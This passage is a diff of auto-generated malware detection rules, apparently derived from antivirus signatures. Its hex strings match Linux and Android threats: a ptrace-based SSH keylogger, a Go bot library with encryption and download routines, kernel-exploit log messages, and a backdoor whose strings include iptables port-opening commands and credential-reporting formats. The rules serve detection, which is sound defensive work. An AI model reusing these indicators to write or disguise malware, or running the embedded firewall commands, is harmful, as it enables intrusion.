54 52 41 43 45 5d 20 } //8289 + $a_72_11 = {69 6e 67 20 61 74 74 61 63 68 20 70 69 64 3a 01 00 29 01 72 75 6e 20 6c 6f 67 67 69 6e 67 20 61 6c 6c 20 64 65 74 65 63 74 65 64 20 6b 65 79 62 6f 61 72 64 20 64 65 76 69 63 65 73 01 00 54 01 5b 73 74 72 61 63 65 2f 70 74 72 61 63 65 5d 20 72 75 6e 20 73 73 68 20 6b 65 79 6c 6f 67 67 65 72 } //29779 + $a_61_12 = {53 54 52 41 43 45 20 6f 72 20 50 54 52 41 43 45 20 6d 65 63 68 61 6e 69 73 6d 20 28 70 74 72 61 63 65 20 62 79 20 64 65 66 61 75 6c 74 29 01 00 3e 01 76 69 72 74 75 61 6c 20 76 6f 69 64 20 6c 6f 67 67 65 72 3a 3a 50 74 72 61 63 65 3a 3a 73 73 68 5f 69 6e 63 6f 6d 69 6e 67 5f 6c 6f 67 67 65 72 28 63 6f 6e 73 74 20 } //30240 + $a_5f_13 = {26 29 01 00 3e 01 76 69 72 74 75 61 6c 20 76 6f 69 64 20 6c 6f 67 67 65 72 3a 3a 50 74 72 61 63 65 3a 3a 73 73 68 5f 6f 75 74 67 6f 69 6e 67 5f 6c 6f 67 67 65 72 28 63 6f 6e 73 74 20 70 69 64 5f 74 26 29 01 00 35 01 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 73 20 74 } //26992 + $a_74_14 = {72 74 20 6c 6f 67 67 65 72 20 69 6e 20 63 61 73 65 20 6f 66 00 00 8c c9 02 00 0a 00 0a 00 11 00 21 23 41 4c 46 3a 59 32 56 3a 4d 61 72 63 5f 52 69 76 65 72 6f 5f 4d 63 41 66 65 2f 61 70 74 5f 6e 69 78 5f 65 6c 66 5f 44 65 72 75 73 62 69 5f 4c 69 6e 75 78 5f 53 74 72 69 6e 67 73 00 05 00 26 03 6c 6f 61 64 73 6f 90 19 01 09 61 2d 7a 41 2d 5a 30 } //8303 + condition: + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*26992+(#a_61_2 & 1)*28784+(#a_4e_3 & 1)*29545+(#a_65_4 & 1)*26479+(#a_70_5 & 1)*12142+(#a_69_6 & 1)*24879+(#a_64_7 & 1)*11631+(#a_67_8 & 1)*26988+(#a_46_9 & 1)*8250+(#a_61_10 & 1)*8289+(#a_72_11 & 1)*29779+(#a_61_12 & 1)*30240+(#a_5f_13 & 1)*26992+(#a_74_14 & 1)*8303) >=2 + +} +rule _InfrastructureShared_22252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 0f 00 21 " @@ -276537,7 +292800,7 @@ rule _InfrastructureShared_20977{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*26988+(#a_67_2 & 1)*30031+(#a_6c_3 & 1)*8307+(#a_65_4 & 1)*24946+(#a_74_5 & 1)*14906+(#a_5f_6 & 1)*28265+(#a_65_7 & 1)*26962+(#a_30_8 & 1)*300+(#a_81_9 & 1)*5+(#a_81_10 & 1)*5+(#a_80_11 & 1)*5+(#a_81_12 & 1)*5+(#a_01_13 & 1)*2+(#a_01_14 & 1)*2) >=10 } -rule _InfrastructureShared_20978{ +rule _InfrastructureShared_22253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 11 00 21 " @@ -276562,7 +292825,7 @@ rule _InfrastructureShared_20978{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_61_2 & 1)*11585+(#a_00_3 & 1)*55+(#a_00_4 & 1)*328+(#a_00_5 & 1)*80+(#a_81_6 & 1)*2+(#a_81_7 & 1)*2+(#a_81_8 & 1)*2+(#a_03_9 & 1)*5+(#a_03_10 & 1)*5+(#a_03_11 & 1)*5+(#a_03_12 & 1)*5+(#a_ef_13 & 1)*0+(#a_76_14 & 1)*24952+(#a_70_16 & 1)*25697) >=10 } -rule _InfrastructureShared_20979{ +rule _InfrastructureShared_22254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 19 00 21 " @@ -276595,7 +292858,7 @@ rule _InfrastructureShared_20979{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29298+(#a_66_2 & 1)*13925+(#a_6f_3 & 1)*8300+(#a_74_4 & 1)*8307+(#a_61_6 & 1)*28777+(#a_00_7 & 1)*29541+(#a_3b_8 & 1)*23297+(#a_5f_9 & 1)*28161+(#a_21_10 & 1)*11883+(#a_61_11 & 1)*8292+(#a_63_12 & 1)*28192+(#a_01_13 & 1)*9530+(#a_76_14 & 1)*257+(#a_74_15 & 1)*8285+(#a_74_16 & 1)*26627+(#a_41_17 & 1)*21076+(#a_6f_18 & 1)*8276+(#a_6c_19 & 1)*28789+(#a_49_20 & 1)*20037+(#a_65_21 & 1)*26485+(#a_69_22 & 1)*11885+(#a_69_23 & 1)*17952+(#a_73_24 & 1)*25632) >=6 } -rule _InfrastructureShared_20980{ +rule _InfrastructureShared_22255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 16 00 21 " @@ -276625,7 +292888,7 @@ rule _InfrastructureShared_20980{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29264+(#a_68_2 & 1)*4608+(#a_20_3 & 1)*400+(#a_73_4 & 1)*14947+(#a_3d_6 & 1)*26996+(#a_20_7 & 1)*26990+(#a_69_8 & 1)*24833+(#a_78_9 & 1)*8308+(#a_6b_10 & 1)*24938+(#a_64_11 & 1)*28530+(#a_6c_12 & 1)*26707+(#a_75_13 & 1)*29801+(#a_79_14 & 1)*8293+(#a_64_15 & 1)*291+(#a_64_16 & 1)*8250+(#a_20_17 & 1)*29549+(#a_6f_18 & 1)*27507+(#a_65_19 & 1)*26982+(#a_72_20 & 1)*21280+(#a_6f_21 & 1)*29801) >=2 } -rule _InfrastructureShared_20981{ +rule _InfrastructureShared_22256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 22 00 21 " @@ -276664,7 +292927,7 @@ rule _InfrastructureShared_20981{ ((#a_64_0 & 1)*16675+(#a_6c_1 & 1)*25960+(#a_6f_3 & 1)*24948+(#a_62_4 & 1)*25600+(#a_2f_5 & 1)*25956+(#a_61_6 & 1)*8236+(#a_41_7 & 1)*31091+(#a_61_8 & 1)*25376+(#a_2e_9 & 1)*26981+(#a_20_10 & 1)*25971+(#a_63_11 & 1)*29441+(#a_70_12 & 1)*29728+(#a_70_13 & 1)*11565+(#a_01_14 & 1)*9504+(#a_36_15 & 1)*26912+(#a_70_16 & 1)*29728+(#a_70_17 & 1)*28771+(#a_72_18 & 1)*25888+(#a_6f_20 & 1)*29253+(#a_2a_21 & 1)*29482+(#a_2a_22 & 1)*30060+(#a_4c_25 & 1)*8993+(#a_41_26 & 1)*20801+(#a_4a_27 & 1)*26180+(#a_52_28 & 1)*17477+(#a_59_29 & 1)*18029+(#a_67_30 & 1)*29811+(#a_6c_31 & 1)*25701+(#a_75_32 & 1)*18734+(#a_68_33 & 1)*8302) >=1 } -rule _InfrastructureShared_20982{ +rule _InfrastructureShared_22257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 16 00 21 " @@ -276692,7 +292955,7 @@ rule _InfrastructureShared_20982{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29441+(#a_70_2 & 1)*29728+(#a_70_3 & 1)*11565+(#a_01_4 & 1)*9504+(#a_36_5 & 1)*26912+(#a_70_6 & 1)*29728+(#a_70_7 & 1)*28771+(#a_72_8 & 1)*25888+(#a_6f_10 & 1)*29253+(#a_2a_11 & 1)*29482+(#a_2a_12 & 1)*30060+(#a_4c_15 & 1)*8993+(#a_41_16 & 1)*20801+(#a_4a_17 & 1)*26180+(#a_52_18 & 1)*17477+(#a_59_19 & 1)*18029+(#a_67_20 & 1)*29811+(#a_6c_21 & 1)*25701) >=4 } -rule _InfrastructureShared_20983{ +rule _InfrastructureShared_22258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 2b 00 21 " @@ -276709,42 +292972,131 @@ rule _InfrastructureShared_20983{ $a_00_9 = {08 } //17487 $a_5f_10 = {54 41 47 45 01 00 13 01 2f 64 61 74 61 2f 6c 6f 63 61 6c 2f 74 6d 70 2f 77 64 2f 01 00 16 01 43 6f 75 6c 64 20 6e 6f 74 20 6c 6f 61 64 20 70 72 65 64 2e 73 6f 01 00 0e 01 69 6e 69 74 70 72 65 64 63 } //17409 $a_69_11 = {01 00 0d 01 69 6e 69 74 70 72 65 64 75 74 69 6c 73 01 00 11 01 69 6e 6a 65 63 74 5f 70 69 64 5f 6e 61 74 69 76 65 01 00 17 01 70 63 32 5f 73 65 6e 64 5f 63 6f 6d 6d 61 6e 64 5f 6e 61 74 69 76 65 01 00 0c 01 50 45 52 53 49 53 54 5f 46 4c 41 47 01 00 16 00 6a 73 50 61 79 6c 6f 61 64 2e 6a 73 2e 65 6e 63 72 } //28271 - $a_65_12 = {01 00 13 01 65 78 74 72 61 63 74 5f 64 65 76 69 63 65 5f 69 6e 66 6f 9c ff 0a 01 43 4d 4f 43 53 4f 43 4b 45 54 00 00 8c 1e 05 00 02 00 02 00 31 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 57 65 6c 6c 4d 65 73 73 2e 44 21 64 68 61 00 02 00 29 03 2a 62 6f 74 6c 90 01 01 62 2e 72 63 36 63 69 70 68 65 72 00 00 11 2a 63 68 61 } //28793 - $a_20_13 = {74 72 75 63 74 20 7b 7d 90 00 01 00 0f 03 4d 69 73 73 65 90 01 01 20 6d 65 3f 20 90 00 01 00 18 03 2a 62 6f 74 6c 90 01 01 62 2e 4b 65 } //15470 - $a_7a_14 = {45 72 72 6f 72 90 00 01 00 16 03 62 6f 74 6c 90 01 01 62 2e 45 6e 63 72 79 70 74 54 65 78 74 90 00 01 00 12 03 62 6f 74 6c 90 01 01 62 2e 65 6e 63 72 79 70 74 90 00 01 00 12 03 62 6f 74 6c 90 01 01 62 2e 43 6f 6d 6d 61 6e 64 90 00 01 00 1f 03 62 6f 74 6c 90 01 01 62 2e 74 72 61 6e 73 66 6f 72 6d 52 69 67 68 74 74 } //21369 - $a_65_15 = {90 00 01 00 10 03 62 6f 74 6c 90 01 01 62 2e 72 65 70 6c 79 90 00 01 00 12 03 62 6f 74 6c 90 01 01 62 2e 53 65 72 76 69 63 65 90 00 01 00 13 03 62 6f 74 6c 90 01 01 62 2e 73 61 76 65 46 69 6c 65 90 00 01 00 11 03 62 6f 74 6c 90 01 01 62 2e 55 44 46 69 6c 65 90 00 01 00 13 03 62 6f 74 6c 90 01 01 62 2e 44 6f 77 6e 6c 6f 61 64 90 00 01 00 0f 03 62 } //31042 - $a_90_16 = {01 62 2e 53 65 6e 64 90 00 01 00 0f 03 62 6f 74 6c 90 01 01 62 2e 57 6f 72 6b 90 00 01 00 12 03 62 6f 74 6c 90 01 01 62 2e 63 68 75 6e 6b 73 4d 90 00 01 00 0f 03 62 6f 74 6c 90 01 01 62 2e 4a 6f 69 6e 90 00 01 00 13 03 62 6f 74 6c 90 01 01 62 2e 77 65 6c 6c 4d 65 73 73 90 00 01 00 1a 03 62 6f 74 6c 90 01 01 62 2e 52 61 6e } //29807 - $a_72_17 = {6e 67 42 79 74 65 73 90 00 01 00 19 03 62 6f 74 6c 90 01 01 62 2e 47 65 74 52 61 6e 64 6f 6d 42 79 74 65 73 90 00 01 00 1a 03 62 6f 74 6c 90 01 01 62 2e 47 65 6e 65 72 61 74 65 53 79 6d 6d 4b 65 79 90 00 01 00 1b 03 62 6f 74 6c 90 01 01 62 2e 43 61 6c 63 75 6c 61 74 65 4d 44 35 48 61 73 68 90 00 01 00 11 03 62 6f 74 6c 90 01 01 62 2e 54 72 61 6e } //21348 - $a_00_18 = {01 00 14 03 62 6f 74 6c 90 01 01 62 2e 47 65 74 4c 6f 63 61 6c 65 90 00 01 00 10 03 62 6f 74 6c 90 01 01 62 2e 50 61 72 73 65 90 00 01 00 0f 03 62 6f 74 6c 90 01 01 62 2e 50 61 63 6b 90 00 01 00 11 03 62 6f 74 6c 90 01 01 62 2e 55 6e 70 61 63 6b 90 00 01 00 12 03 62 6f 74 6c 90 01 01 62 2e 55 6e 70 61 63 6b 42 90 00 01 00 15 03 2a 62 6f 74 6c 90 01 01 62 2e 72 63 36 63 69 70 68 65 72 90 00 01 00 1d 03 62 6f 74 6c 90 01 01 62 2e } //26227 - $a_6d_19 = {6f 72 6d 61 6c 54 6f 42 61 73 65 36 34 90 00 01 00 12 03 62 6f 74 6c 90 01 01 62 2e 52 61 6e 64 49 6e 74 90 00 01 00 19 03 62 6f 74 6c 90 01 01 62 2e 42 61 73 65 36 34 54 6f 4e 6f 72 6d 61 6c 90 00 01 00 1d 03 62 6f 74 6c 90 01 01 62 2e 4b 65 79 53 69 7a 65 45 72 72 6f 72 2e 45 72 72 6f 72 90 00 01 00 21 03 62 6f 74 6c 90 01 01 62 } //29254 - $a_72_20 = {36 63 69 70 68 65 72 29 2e 42 6c 6f 63 6b 53 69 7a 65 90 00 01 00 1c 03 62 6f 74 6c 90 01 01 62 2e 63 6f 6e 76 65 72 74 46 72 } //10286 - $a_74_21 = {69 6e 67 90 00 01 00 1f 03 62 6f 74 6c 90 01 01 62 2e 28 2a 72 63 36 63 69 70 68 65 72 29 2e 45 6e 63 72 79 70 74 90 00 01 00 1f 03 62 6f 74 6c 90 01 01 62 2e 28 2a 72 63 36 63 69 70 68 65 72 29 2e 44 65 63 72 79 70 74 90 00 01 00 10 03 62 6f 74 6c } //28015 - $a_62_22 = {53 } //400 S - $a_74_23 = {00 01 00 11 03 62 6f 74 6c 90 01 01 62 2e 43 69 70 68 65 72 90 00 01 00 13 03 62 6f 74 6c 90 01 01 62 2e 44 65 63 69 70 68 65 72 90 00 01 00 0e 03 62 6f 74 6c 90 01 01 62 2e 50 61 64 90 00 01 00 16 03 62 6f 74 6c 90 01 01 62 2e 41 45 53 5f 45 6e 63 72 79 70 74 90 00 01 00 16 03 62 6f 74 6c 90 01 01 62 2e 41 45 53 } //27760 - $a_63_24 = {79 70 74 90 00 01 00 1f 03 62 6f 74 6c 90 01 01 62 2e 67 65 6e 65 72 61 74 65 52 61 6e 64 6f 6d 53 74 72 69 6e 67 90 00 01 00 15 03 62 6f 74 6c 90 01 01 62 2e 64 65 6c 65 74 65 46 69 6c 65 90 00 01 00 0f 03 62 6f 74 6c 90 01 01 62 2e 50 6f 73 74 90 00 01 00 16 03 62 6f 74 6c 90 01 01 62 2e 53 65 6e 64 } //17503 - $a_73_25 = {67 65 90 00 01 00 19 03 62 6f 74 6c 90 01 01 62 2e 52 65 63 65 69 76 65 4d 65 73 73 61 67 65 90 00 01 00 15 03 62 6f 74 6c 90 01 01 62 2e 53 65 6e 64 2e 66 75 6e 63 31 90 00 01 00 20 03 62 6f 74 6c 90 01 01 62 2e 28 2a 4b 65 79 53 69 7a 65 45 72 72 6f 72 29 2e 45 72 72 6f 72 90 00 00 00 8c 60 06 00 05 00 05 00 55 00 21 23 41 6e 64 72 6f 69 64 } //25933 - $a_48_26 = {54 52 3a 47 65 6e 65 72 61 6c 69 74 79 2e 43 00 03 00 09 00 5d 20 65 78 70 6c 6f 69 74 03 00 09 00 5d 20 74 72 69 67 67 65 72 03 00 07 00 5d 20 73 70 61 77 6e 03 00 07 00 5d } //21327 - $a_61_27 = {20 03 00 07 00 5d 20 73 70 72 61 79 03 00 0a 00 5d 20 6f 76 65 72 77 72 69 74 03 00 08 00 5d 20 65 6c 65 76 61 74 03 00 0b 00 5d 20 73 68 65 6c 6c 63 6f 64 65 03 00 0e 00 55 73 65 2d 41 66 74 65 72 2d 46 72 65 65 03 00 0e 00 55 73 65 20 41 66 74 65 72 20 46 72 65 65 03 00 0b 00 41 53 4c 52 20 62 79 70 } //27680 - $a_03_28 = {00 0a 00 68 65 61 70 20 73 70 72 61 79 03 00 0e 00 65 6c 65 76 61 74 69 6e 67 20 70 72 69 76 03 00 0f 00 73 65 6e 64 69 6e 67 20 70 61 79 6c 6f 61 64 03 00 0c 00 65 78 70 6c 6f 69 74 20 77 6f 72 6b 03 00 0f 00 73 65 6e 64 69 6e 67 20 65 78 70 6c 6f 69 74 03 00 07 00 70 72 69 76 65 73 63 03 00 0f 00 70 72 69 76 69 6c 65 67 65 20 65 73 63 61 6c } //29537 - $a_00_29 = {68 65 61 70 20 67 72 6f 6f 6d } //3 heap groom - $a_00_30 = {74 72 69 67 67 65 72 20 65 78 70 6c 6f 69 74 } //3 trigger exploit - $a_00_31 = {5b 2b 5d 20 53 75 63 63 65 } //3 [+] Succe - $a_00_32 = {65 78 70 6c 6f 69 74 20 73 75 63 63 } //3 exploit succ - $a_00_33 = {65 78 70 6c 6f 69 74 20 66 61 69 6c } //3 exploit fail - $a_00_34 = {65 78 70 6c 6f 69 74 20 66 69 6e 69 73 68 65 64 } //3 exploit finished - $a_00_35 = {4b 65 72 6e 65 6c 20 57 72 69 74 65 } //3 Kernel Write - $a_00_36 = {6f 75 74 2d 6f 66 2d 62 6f 75 6e 64 20 77 72 69 74 65 } //3 out-of-bound write - $a_00_37 = {6f 6f 62 20 77 72 69 74 65 } //3 oob write - $a_00_38 = {73 75 63 63 65 73 73 66 75 6c 6c 79 20 6f 76 65 72 77 72 69 74 } //3 successfully overwrit - $a_00_39 = {73 65 63 75 72 69 74 79 5f 68 6f 6f 6b 5f 68 65 61 64 73 } //3 security_hook_heads - $a_00_40 = {61 76 63 5f 63 61 63 68 65 20 } //3 avc_cache - $a_00_41 = {6c 6f 61 64 5f 65 78 70 6c 6f 69 74 } //3 load_exploit - $a_00_42 = {6b 65 72 6e 65 6c 5f 72 77 5f 70 69 70 65 } //3 kernel_rw_pipe + $a_65_12 = {01 00 13 01 65 78 74 72 61 63 74 5f 64 65 76 69 63 65 5f 69 6e 66 6f 9c ff 0a 01 43 4d 4f 43 53 4f 43 4b 45 54 00 00 8c 5e 04 00 03 00 03 00 24 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 41 6c 70 61 63 61 4b 69 74 65 2e 41 21 64 68 61 00 02 00 39 01 00 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4a 75 6d 70 73 65 72 } //28793 + $a_2d_13 = {2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 00 02 00 0c 01 6a 75 6d 70 73 65 72 76 65 72 2e 63 01 00 0f 01 4d 41 47 49 43 43 4f 44 45 20 65 72 72 6f 72 01 00 10 01 72 65 73 65 72 76 65 20 70 6f 72 74 20 25 64 2c 01 00 12 01 72 65 73 65 72 76 65 20 73 75 63 63 65 73 73 20 25 64 01 00 35 01 00 2d 2d 2d 2d 2d } //25974 + $a_2d_14 = {2d 2d 2d 2d 2d 2d 2d 52 65 70 6f 72 74 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 00 01 00 1f } //11565 + $a_64_15 = {25 6c 64 5d 2c 73 65 72 76 65 72 5b 25 73 3a 25 73 5d 2c 75 75 69 64 5b 25 73 5d 01 00 12 01 63 6f 6d 6d 61 6e 64 73 20 25 64 2c 72 65 74 20 25 64 01 00 0a 01 6a 6f 62 6c 69 6e 65 20 25 64 01 00 11 01 74 69 6d 65 73 74 61 6d 70 20 25 6c 64 2f 25 6c 64 01 00 13 01 67 6c 6f 62 61 6c 20 6a 6f 62 20 73 69 7a 65 20 25 } //28673 + $a_00_16 = {2b } //25708 + + $a_67_17 = {63 5f 65 72 72 5b 25 64 5d 2c 64 65 73 74 5f 6c 65 6e 5f 65 72 72 5b 25 64 5d 2c 64 65 73 74 5f 65 72 72 5b 25 64 5d 01 00 35 01 00 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 54 68 72 65 61 64 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 00 01 } //27905 + $a_54_18 = {72 } //14080 r + $a_5b_19 = {64 5d 3a 20 77 6f 72 6b 69 6e 67 5b 25 64 5d 2c 6a 6f 62 6c 69 6e 65 73 5b 25 64 5d 2c 68 61 6e 64 6c 65 5b 25 64 5d 2c 65 72 72 5b 25 64 5d 01 00 0a 01 00 61 6e 72 5f 74 65 73 74 00 01 00 14 01 66 61 69 6c 20 74 6f 20 65 78 65 63 20 63 6f 6d 6d 61 6e 64 01 00 09 01 2f 74 6d 70 2f 2e 6d 73 63 01 00 } //24933 + $a_00_21 = {13 } //99 + $a_6d_22 = {73 65 72 65 72 20 6e 6f 74 20 65 78 69 73 74 01 00 29 01 66 61 69 6c 20 74 6f 20 63 6f 6e 6e 65 63 74 20 74 6f 20 25 73 3a 25 73 2c 72 65 74 72 79 20 61 66 74 65 72 20 25 64 20 73 01 00 27 01 66 61 69 6c 20 74 6f 20 63 6f 6e 6e 65 63 74 20 74 6f 20 25 73 3a 25 73 2c 72 65 74 72 79 20 61 66 74 65 72 20 35 73 01 00 2f 01 66 61 69 6c 20 74 6f 20 76 61 } //27137 + $a_20_23 = {72 72 69 76 65 64 20 61 63 6b 2c 20 25 73 3a 25 73 2c 72 65 74 72 79 20 61 66 74 65 72 20 35 73 01 00 1b 01 73 75 63 63 65 73 73 20 72 65 67 69 73 74 65 72 20 5b 25 73 3a 25 73 5d 20 25 73 01 00 17 01 66 61 69 6c 20 74 6f 20 63 6f 6e 6e 65 63 74 20 62 61 63 6b 65 6e 64 01 00 4c 01 70 69 64 5b 25 6c } //26988 + $a_66_24 = {5b 25 64 5d 2c 70 6f 72 74 5b 25 64 5d 2c 64 65 73 74 5b 25 73 5d 20 2c 63 6c 69 65 6e 74 5b 25 64 5d 2c 73 65 72 76 65 72 5b 25 64 } //23908 [%d],port[%d],dest[%s] ,client[%d],server[%d + $a_5b_25 = {64 5d 2c 65 72 72 6e 6f 5b 25 64 5d 20 45 4f 46 01 00 0a 01 2f 74 6d 70 2f 2e 6a 6c 6f 67 01 00 13 01 70 72 6f 63 3a 20 25 64 2f 25 64 2c 20 65 72 72 20 25 64 01 00 1f 01 6d 62 65 64 74 6c 73 5f 73 73 6c 5f 77 72 69 74 65 20 63 6d 64 46 6c 61 67 20 65 72 72 6f 72 01 00 1c 01 6d 62 65 64 74 6c 73 5f 73 73 6c 5f 77 72 69 74 65 20 } //11357 + $a_64_26 = {65 72 72 6f 72 01 00 0b 01 78 61 32 61 78 61 73 65 78 71 78 01 00 0d 01 63 68 61 6e 67 65 5f 70 75 62 5f 69 70 01 00 0c 01 66 61 69 6c 20 74 6f 20 66 6f 72 6b 01 00 19 01 66 61 69 6c 20 74 6f 20 61 6c 6c 6f 63 20 73 73 6c 5f 63 6f 6e 74 65 78 74 01 00 13 01 6c 6f 61 64 20 68 61 6e 64 20 25 64 2c 72 65 71 20 25 64 } //30069 + $a_01_27 = {74 68 72 65 61 64 20 25 6c 64 20 72 75 6e 6e 69 6e 67 } //1 thread %ld running + $a_01_28 = {70 6f 6e 67 31 31 20 25 64 } //1 pong11 %d + $a_d6_29 = {00 03 00 03 00 28 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 41 6c 70 61 63 61 42 72 69 64 67 65 2e 42 21 64 68 61 00 02 00 09 01 77 62 70 78 63 30 31 30 32 02 00 26 01 78 61 72 76 78 78 76 66 64 78 64 33 78 31 37 62 60 41 64 73 53 58 43 73 61 47 48 78 65 74 64 76 62 68 6a 6b 2e 2f 02 00 20 01 39 33 61 36 35 39 33 34 31 38 65 62 34 64 34 39 61 62 64 65 66 64 34 37 64 64 65 36 66 66 66 63 02 00 17 01 } //0 + $a_6f_30 = {2f 70 72 6f 6a 65 63 74 2f 65 70 6f 6c 6c 5f 73 35 2f 01 00 0d 01 5b 31 3b 39 30 6d 20 25 73 3a 25 64 20 01 00 1d 01 00 65 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 72 00 01 00 18 01 00 66 61 69 6c 20 74 6f 20 63 6f 6e 6e 65 63 74 20 73 65 72 76 65 72 00 01 00 0e 01 62 61 64 20 63 6f 6e 66 20 77 6f } //29231 + $a_01_31 = {00 15 01 00 72 65 61 64 20 75 73 65 72 6e 61 6d 65 20 65 72 72 6f 72 00 01 00 15 01 00 72 65 61 64 20 70 61 73 73 77 6f 72 64 20 65 72 72 6f 72 00 01 00 15 01 00 66 61 69 6c 20 74 6f 20 63 72 65 61 74 65 20 70 69 70 65 00 01 00 0e 01 00 66 61 69 6c 20 74 6f 20 66 6f 72 6b 00 01 00 2d 01 69 70 74 61 62 6c 65 73 20 2d 44 20 49 4e 50 55 54 20 2d } //25714 + $a_63_32 = {20 2d 2d 64 70 6f 72 74 20 25 73 20 2d 6a 20 41 43 43 45 50 54 01 00 2f 01 69 70 74 61 62 6c 65 73 20 2d 49 20 49 4e 50 55 54 20 32 20 2d 70 20 74 63 70 20 2d 2d 64 70 6f 72 74 20 25 73 20 2d 6a 20 41 43 43 45 50 54 01 00 3a 01 69 70 74 61 62 6c 65 73 20 2d 74 20 6e 61 74 20 2d 44 20 20 50 52 45 52 4f 55 54 49 4e 47 20 2d 70 20 74 63 70 20 2d 2d } //8304 + $a_72_33 = {20 25 73 20 2d 6a 20 41 43 43 45 50 54 01 00 3c 01 69 70 74 61 62 6c 65 73 20 2d 74 20 6e 61 74 20 2d 49 20 20 50 52 45 52 4f 55 54 49 4e 47 20 32 20 2d 70 20 74 63 70 20 2d 2d 64 70 6f 72 74 20 25 73 20 2d 6a 20 41 43 43 45 50 54 01 00 15 01 69 70 74 61 62 6c 65 73 20 2d 6e 20 20 2d 4c 20 49 4e 50 55 54 01 00 08 01 00 64 70 74 3a } //28772 + $a_66_35 = {69 } //5632 i + $a_6f_36 = {73 65 74 75 70 20 69 70 74 61 62 6c 65 73 01 00 0d 01 5b 31 3b 33 31 6d 20 25 73 3a 25 64 20 01 00 10 01 73 73 6c 5f 73 6f 63 6b 73 5f 73 65 72 76 65 72 01 00 0d 01 73 72 63 2f 6d 62 65 64 74 6c 73 2e 63 01 00 0a 01 6e 74 5f 61 63 74 4d 61 69 6c 01 00 11 01 73 72 63 2f 73 6f 63 6b 73 5f 65 70 6f 6c 6c 2e 63 01 00 0b 01 77 72 69 74 65 20 66 6c 6f } //8300 + $a_00_37 = {28 } //27491 ( + $a_74_38 = {70 20 75 3a 25 73 20 70 3a 25 73 20 72 65 70 6f 72 74 3a 5b 25 73 3a 25 73 5d 20 62 72 61 6e 64 5b 25 73 5d 01 00 30 01 68 61 73 68 5f 69 6e 73 65 72 74 20 65 72 72 6f 72 2c 75 75 69 64 20 25 73 2c 73 65 72 76 65 72 20 25 73 3a 25 73 2c 75 3d 25 73 2c 70 3d 25 73 01 00 1a 01 73 79 6e 63 20 25 64 2c 20 } //29441 + $a_68_39 = {63 6e 74 20 25 64 20 6e 6f 64 65 73 01 00 10 01 2f 76 70 73 2f 2e 73 70 65 65 64 74 61 62 6c 65 01 00 14 01 25 73 2f 25 73 5f 25 6c 64 5f 25 6c 64 5f 25 70 2e 74 78 74 01 00 30 01 50 61 6e 69 63 2c 63 6c 69 65 6e 74 20 65 6e 74 65 72 20 20 73 6f 63 6b 73 5f 6e 65 78 74 5f 68 6f 70 5f 74 6c 73 5f 68 61 6e 64 73 68 61 6b 65 01 00 11 01 2f 72 6f } //24936 + $a_70_40 = {6f 6a 65 63 74 2f 73 73 2f 01 00 20 01 72 65 70 6f 72 74 20 75 73 65 72 6e 61 6d 65 5b 25 73 5d 2c 70 61 73 73 77 6f 72 64 5b 25 73 5d 01 00 } //29807 + $a_74_41 = {70 2f 73 73 2e 70 69 64 01 00 18 01 73 6f 63 6b 35 5f 68 61 6e 64 73 68 61 6b 65 20 65 72 72 6f 72 3a 25 64 01 00 17 01 66 61 69 6c 20 74 6f } //267 + $a_6e_42 = {65 63 74 20 62 61 63 6b 65 6e 64 01 00 43 01 66 64 5b 25 64 5d 2c 70 6f 72 74 5b 25 64 5d 2c 64 65 73 74 5b 25 73 5d 20 2c 63 6c 69 65 6e 74 5b 25 64 5d 2c 73 65 72 76 65 72 5b 25 64 5d 2c 6e 5b 25 64 5d 2c 65 72 72 6e 6f 5b 25 64 5d 20 45 4f 46 01 00 13 01 64 65 73 74 20 63 61 6e 27 74 20 72 65 61 63 68 20 25 64 01 00 0d 01 00 50 } //25376 condition: - ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*20801+(#a_74_2 & 1)*25441+(#a_52_3 & 1)*17473+(#a_64_4 & 1)*28530+(#a_2e_5 & 1)*25970+(#a_61_6 & 1)*27759+(#a_68_7 & 1)*29793+(#a_65_8 & 1)*25460+(#a_00_9 & 1)*17487+(#a_5f_10 & 1)*17409+(#a_69_11 & 1)*28271+(#a_65_12 & 1)*28793+(#a_20_13 & 1)*15470+(#a_7a_14 & 1)*21369+(#a_65_15 & 1)*31042+(#a_90_16 & 1)*29807+(#a_72_17 & 1)*21348+(#a_00_18 & 1)*26227+(#a_6d_19 & 1)*29254+(#a_72_20 & 1)*10286+(#a_74_21 & 1)*28015+(#a_62_22 & 1)*400+(#a_74_23 & 1)*27760+(#a_63_24 & 1)*17503+(#a_73_25 & 